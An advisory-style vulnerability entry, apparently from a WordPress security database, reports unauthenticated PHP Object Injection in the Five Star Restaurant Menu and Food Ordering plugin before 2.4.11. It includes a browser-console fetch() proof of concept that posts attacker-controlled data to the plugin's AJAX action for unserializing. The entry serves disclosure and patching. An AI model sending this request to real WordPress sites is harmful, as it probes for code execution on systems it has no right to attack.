Lucene search

K
wpexploitKrzysztof Zając (CERT PL)WPEX-ID:91A5847A-62E7-4B98-A554-5EECB6A06E5B
HistoryOct 27, 2023 - 12:00 a.m.

Five Star Restaurant Menu and Food Ordering < 2.4.11 - Unauthenticated PHP Object Injection

2023-10-2700:00:00
Krzysztof Zając (CERT PL)
41
restaurant menu
food ordering
unauthenticated access
php object injection
web browser
developer console
admin-ajax.php
content-type
urlsearchparams
post method
credentials

AI Score

7.1

Confidence

Low

EPSS

0.002

Percentile

52.5%

Description The plugin unserializes user input via an AJAX action available to unauthenticated users, allowing them to perform PHP Object Injection when a suitable gadget is present on the blog.

Run the below command in the developer console of the web browser while being on the blog unauthenticated

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "fdm_update_cart_item", "options": "data-to-unserialize"}),
  "method": "POST",
  "credentials": "include"
});

AI Score

7.1

Confidence

Low

EPSS

0.002

Percentile

52.5%

Related for WPEX-ID:91A5847A-62E7-4B98-A554-5EECB6A06E5B